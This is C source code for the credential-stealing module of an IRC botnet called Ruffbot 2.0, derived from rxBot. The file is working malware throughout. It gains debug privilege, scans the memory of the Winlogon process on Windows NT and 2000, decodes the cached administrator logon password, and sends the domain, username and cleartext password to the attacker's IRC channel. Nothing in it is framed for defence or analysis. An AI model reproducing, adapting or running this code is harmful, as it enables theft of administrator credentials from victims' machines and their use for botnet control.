/*
XXXXXXXXXXXXXX   XXXXX      XXXXX  XXXXXXXXXXXXX   XXXXXXXXXXXXX  
XXXXXXXXXXXXXXX  XXXXX      XXXXX  XXXXXXXXXXXXXX  XXXXXXXXXXXXXX 
XXXXXXXXXXXXXXX  XXXXX      XXXXX  XXXXXXXXXXXXX   XXXXXXXXXXXXX  
XXXX       XXXX  XXXXX      XXXXX  XXXXX           XXXXX            
XXXX       XXXX  XXXXX      XXXXX  XXXXX           XXXXX            
XXXXXXXXXXXXXXX  XXXXX      XXXXX  XXXXXXXXXXX     XXXXXXXXXXX     
XXXXXXXXXXXXXX   XXXXX      XXXXX  XXXXXXXXXXXX    XXXXXXXXXXXX     
XXXXXXXXX        XXXXX      XXXXX  XXXXXXXXXXX     XXXXXXXXXXX    
XXXX XXXXX       XXXXX      XXXXX  XXXXX           XXXXX           
XXXX  XXXXX      XXXXX      XXXXX  XXXXX           XXXXX           
XXXX   XXXXX     XXXXX      XXXXX  XXXXX           XXXXX           
XXXX    XXXXX    XXXXXX    XXXXXX  XXXXX           XXXXX           
XXXX     XXXXX   XXXXXXXXXXXXXXXX  XXXXX           XXXXX           
XXXX      XXXXX   XXXXXXXXXXXXXX   XXXXX           XXXXX           
XXXX       XXXXX   XXXXXXXXXXXX    XXXXX           XXXXX 
     



        Ruffbot 2.0 [PrivShit] by Ruffnes

*/ 


#include "includes.h"
#include "functions.h"
#include "externs.h"

/* FindPass decodes and displays administrator logon credentials from Winlogon 
 in Win2000 / Winnt4 + < sp6. Windows 2000 and Windows NT administrator passwords 
 are CACHED by WinLogon using the Microsoft Graphical Identification and Authentication 
 (MSGINA.DLL) module. Written by ? , modded for rxBot by CryptoMeth. */

#ifndef NO_FINDPASS

// functions
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

// globals
DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];


DWORD WINAPI FindPassThread(LPVOID param)
{ 
	FINDPASS findpass = *((FINDPASS *)param);
	FINDPASS *findpasss = (FINDPASS *)param;
	findpasss->gotinfo = TRUE;

	char sendbuf[IRCLINE];

	DWORD dwOS = OSVersionCheck();
	if (dwOS == OS_WINNT || dwOS == OS_WIN2K) {
		if (AdjustPrivileges("SeDebugPrivilege", TRUE)) {
			HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
			pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)GetProcAddress 
				(hNtDll,"NtQuerySystemInformation");
			pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress 
				(hNtDll,"RtlCreateQueryDebugBuffer");
			pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress 
				(hNtDll,"RtlQueryProcessDebugInformation");
			pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress 
				(hNtDll,"RtlDestroyQueryDebugBuffer");
			pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress 
				(hNtDll,"RtlRunDecodeUnicodeString");

			DWORD WinLogonPID = FindWinLogon();
			if (WinLogonPID != 0) { 
				GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
				GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
	 
				BOOL FoundPasswordPage = ((dwOS == OS_WINNT)?(LocatePasswordPageWinNT(WinLogonPID,&PasswordLength))
					:(LocatePasswordPageWin2K(WinLogonPID,&PasswordLength)));
				if (FoundPasswordPage) { 
					if (PasswordLength == 0) 
						_snprintf(sendbuf,sizeof(sendbuf),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(no password)).",
							WinLogonPID,UserDomain,UserName);
					else 
						sprintf(sendbuf,(dwOS == OS_WINNT)?(DisplayPasswordWinNT(WinLogonPID)):(DisplayPasswordWin2K(WinLogonPID)));
				} else	
					sprintf(sendbuf,"[FINDPASS]: Unable to find the password in memory.");
			} else 
				sprintf(sendbuf,"[FINDPASS]: Unable to find Winlogon Process ID.");

			AdjustPrivileges("SeDebugPrivilege", FALSE);
			FreeLibrary(hNtDll);
		} else
			sprintf(sendbuf, "[FINDPASS]: Failed to enable Debug Privilege.");
	} else
		sprintf(sendbuf, "[FINDPASS]: Only supported on Windows NT/2000.");

	if (!findpass.silent) irc_privmsg(findpass.sock,findpass.chan,sendbuf,findpass.notice);
	addlog(sendbuf);

	clearthread(findpass.threadnum);

	ExitThread(0);
}

DWORD FindWinLogon(void)
{ 
	DWORD rc = 0, SizeNeeded = 0;
	PVOID InfoP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,INITIAL_ALLOCATION);

	pfnNtQuerySystemInformation(0x10,InfoP,INITIAL_ALLOCATION,&SizeNeeded);
	HeapFree(GetProcessHeap(),0,InfoP);

	InfoP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SizeNeeded);
	DWORD SizeWritten = SizeNeeded;
	if (pfnNtQuerySystemInformation(0x10,InfoP,SizeNeeded,&SizeWritten)) { 
		HeapFree(GetProcessHeap(),0,InfoP);
		return (0);
	}
	
	DWORD NumHandles = SizeWritten / sizeof(QUERY_SYSTEM_INFORMATION);
	if (NumHandles == 0) { 
		HeapFree(GetProcessHeap(),0,InfoP);
		return (0);
	} 
	PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)InfoP;
 
	for (DWORD i = 1;i <= NumHandles;i++) { 
		if (QuerySystemInformationP->HandleType == 5) { 
			PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer(0,0);
			if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP) == 0) { 
				PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER)((DWORD)DebugBufferP + 0x60);
				DWORD Count = ProcessInfoHeaderP->Count;
				PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO)((DWORD)ProcessInfoHeaderP + sizeof(PROCESS_INFO_HEADER));
				if (strstr(_strupr(ProcessInfoP->Name), "WINLOGON") != 0) { 
					DWORD dw = (DWORD)ProcessInfoP;
					for (DWORD j = 0;j < Count;j++) { 
						dw += sizeof(PROCESS_INFO);
						ProcessInfoP = (PPROCESS_INFO)dw;
						if (strstr(_strupr(ProcessInfoP->Name), "NWGINA") != 0)
							return (0);
						if (strstr(_strupr(ProcessInfoP->Name), "MSGINA") == 0)
							rc = QuerySystemInformationP->PID;
					} 
					if (DebugBufferP)
						pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
					HeapFree(GetProcessHeap(),0,InfoP);

					return (rc);
				} 
			} 
			if (DebugBufferP)
				pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
		} 
		DWORD dw = (DWORD)QuerySystemInformationP;
		dw += sizeof(QUERY_SYSTEM_INFORMATION);
		QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dw;
	} 
	HeapFree(GetProcessHeap(),0,InfoP);

	return (rc);
}

BOOL LocatePasswordPageWinNT(DWORD WinLogonPID,PDWORD PasswordLength)
{ 
	BOOL rc = FALSE;
	HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,WinLogonPID);
	if (WinLogonHandle == 0)
		return (rc);
	*PasswordLength = 0;

	SYSTEM_INFO SystemInfo;
	GetSystemInfo(&SystemInfo);
	DWORD PEB = 0x7ffdf000;
	DWORD BytesCopied = 0;
	PVOID PEBP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SystemInfo.dwPageSize);
	if (!ReadProcessMemory(WinLogonHandle,(PVOID)PEB,PEBP,SystemInfo.dwPageSize,&BytesCopied)) { 
		CloseHandle(WinLogonHandle);
		return (rc);
	} 

	PDWORD WinLogonHeap = (PDWORD)((DWORD)PEBP + (6 * sizeof(DWORD)));
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;
	if (VirtualQueryEx(WinLogonHandle,(PVOID)*WinLogonHeap,&MemoryBasicInformation,sizeof(MEMORY_BASIC_INFORMATION)))
		if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { 
			PVOID WinLogonMemP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
			if (ReadProcessMemory(WinLogonHandle,(PVOID)*WinLogonHeap,WinLogonMemP,MemoryBasicInformation.RegionSize,&BytesCopied)) { 
				DWORD i = (DWORD)WinLogonMemP;
				DWORD UserNamePos = 0;

				do { 
					if ((wcsicmp(UserName,(wchar_t *)i) == 0) 
						&& (wcsicmp(UserDomain,(wchar_t *)(i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { 
						UserNamePos = i;
						break;
					} 
					i += 2;
				} while (i < (DWORD)WinLogonMemP + MemoryBasicInformation.RegionSize);

				if (UserNamePos) { 
					PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO)((DWORD)UserNamePos + USER_PASSWORD_OFFSET_WINNT);

					FILETIME LocalFileTime;
					SYSTEMTIME SystemTime;
					if (FileTimeToLocalFileTime(&EncodedPasswordInfoP->LoggedOn,&LocalFileTime))
						if (FileTimeToSystemTime(&LocalFileTime,&SystemTime))
							*PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof(wchar_t);
 
					HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
					RealPasswordP = (PVOID)(*WinLogonHeap + (UserNamePos - (DWORD)WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34);
					PasswordP = (PVOID)((PBYTE)(UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34));
					rc = TRUE;
				} 
			} 
		} 
	HeapFree(GetProcessHeap(),0,PEBP);
	CloseHandle(WinLogonHandle);

	return (rc);
}

BOOL LocatePasswordPageWin2K(DWORD WinLogonPID, PDWORD PasswordLength)
{ 
	HANDLE WinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,WinLogonPID);
	if (WinLogonHandle == 0)
		return (FALSE);

	*PasswordLength = 0;
	SYSTEM_INFO SystemInfo;
	GetSystemInfo(&SystemInfo);
	DWORD i = (DWORD)SystemInfo.lpMinimumApplicationAddress;
	DWORD MaxMemory = (DWORD)SystemInfo.lpMaximumApplicationAddress;
	DWORD Increment = SystemInfo.dwPageSize;
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;

	while (i < MaxMemory) { 
		if (VirtualQueryEx(WinLogonHandle,(PVOID)i,&MemoryBasicInformation,sizeof(MEMORY_BASIC_INFORMATION))) { 
			Increment = MemoryBasicInformation.RegionSize;
			if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
				&& ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { 
				PVOID RealStartingAddressP = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
				DWORD BytesCopied = 0;

				if (ReadProcessMemory(WinLogonHandle,(PVOID)i,RealStartingAddressP,MemoryBasicInformation.RegionSize,&BytesCopied)) { 
					if ((wcsicmp((wchar_t *)RealStartingAddressP, UserName) == 0) 
						&& (wcsicmp((wchar_t *)((DWORD)RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { 
						RealPasswordP = (PVOID)(i + USER_PASSWORD_OFFSET_WIN2K);
						PasswordP = (PVOID)((DWORD)RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);

						PBYTE p = (PBYTE)PasswordP;
						DWORD Loc = (DWORD)p;
						DWORD Len = 0;
						if ((*p == 0) && (* (PBYTE)((DWORD)p + 1) == 0));
						else 
							do { 
								Len++;
								Loc += 2;
								p = (PBYTE)Loc;
							} while (*p != 0);
						*PasswordLength = Len;
						CloseHandle(WinLogonHandle);

						return (TRUE);
					} 
				} 
				HeapFree(GetProcessHeap(),0,RealStartingAddressP);
			} 
		} else 
			Increment = SystemInfo.dwPageSize;

		i += Increment;
	} 
	CloseHandle(WinLogonHandle);

	return (FALSE);
}

char *DisplayPasswordWinNT(DWORD WinLogonPID)
{ 
	static char buffer[IRCLINE];

	UNICODE_STRING EncodedString;
	EncodedString.Length = (WORD)PasswordLength * sizeof(wchar_t);
	EncodedString.MaximumLength = ((WORD)PasswordLength * sizeof(wchar_t)) + sizeof(wchar_t);
	EncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);
	CopyMemory(EncodedString.Buffer,PasswordP,PasswordLength * sizeof(wchar_t));

	pfnRtlRunDecodeUnicodeString((BYTE)HashByte,&EncodedString);

	_snprintf(buffer,sizeof(buffer),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/%S).",
		WinLogonPID,UserDomain,UserName,EncodedString.Buffer);

	HeapFree(GetProcessHeap(),0,EncodedString.Buffer);

	return (buffer);
}

char *DisplayPasswordWin2K(DWORD WinLogonPID)
{ 
	static char buffer[IRCLINE];
 
	DWORD i, Hash = 0;
	UNICODE_STRING EncodedString;
	EncodedString.Length = (USHORT)PasswordLength * sizeof(wchar_t);
	EncodedString.MaximumLength = ((USHORT)PasswordLength * sizeof(wchar_t)) + sizeof(wchar_t);
	EncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);

	for (i = 0;i <= 0xff;i++) { 
		CopyMemory(EncodedString.Buffer, PasswordP, PasswordLength * sizeof(wchar_t));

		pfnRtlRunDecodeUnicodeString((BYTE)i,&EncodedString);

		PBYTE p = (PBYTE)EncodedString.Buffer;
		BOOL Viewable = TRUE;
		DWORD j, k;
		for (j = 0;(j < PasswordLength) && Viewable;j++) { 
			if ((*p) && (*(PBYTE)(DWORD(p) + 1) == 0)) { 
				if (*p < 0x20) 
					Viewable = FALSE;
				if (*p > 0x7e) 
					Viewable = FALSE;
			} else 
				Viewable = FALSE;
			k = DWORD(p);
			k++;k++;
			p = (PBYTE)k;
		} 
		if (Viewable)
			_snprintf(buffer,sizeof(buffer),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/%S).",
				WinLogonPID,UserDomain,UserName,EncodedString.Buffer);
		else
			_snprintf(buffer,sizeof(buffer),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(N/A)).",
				WinLogonPID,UserDomain,UserName);
	} 
	HeapFree(GetProcessHeap(),0,EncodedString.Buffer);

	return (buffer);
} 
#endif
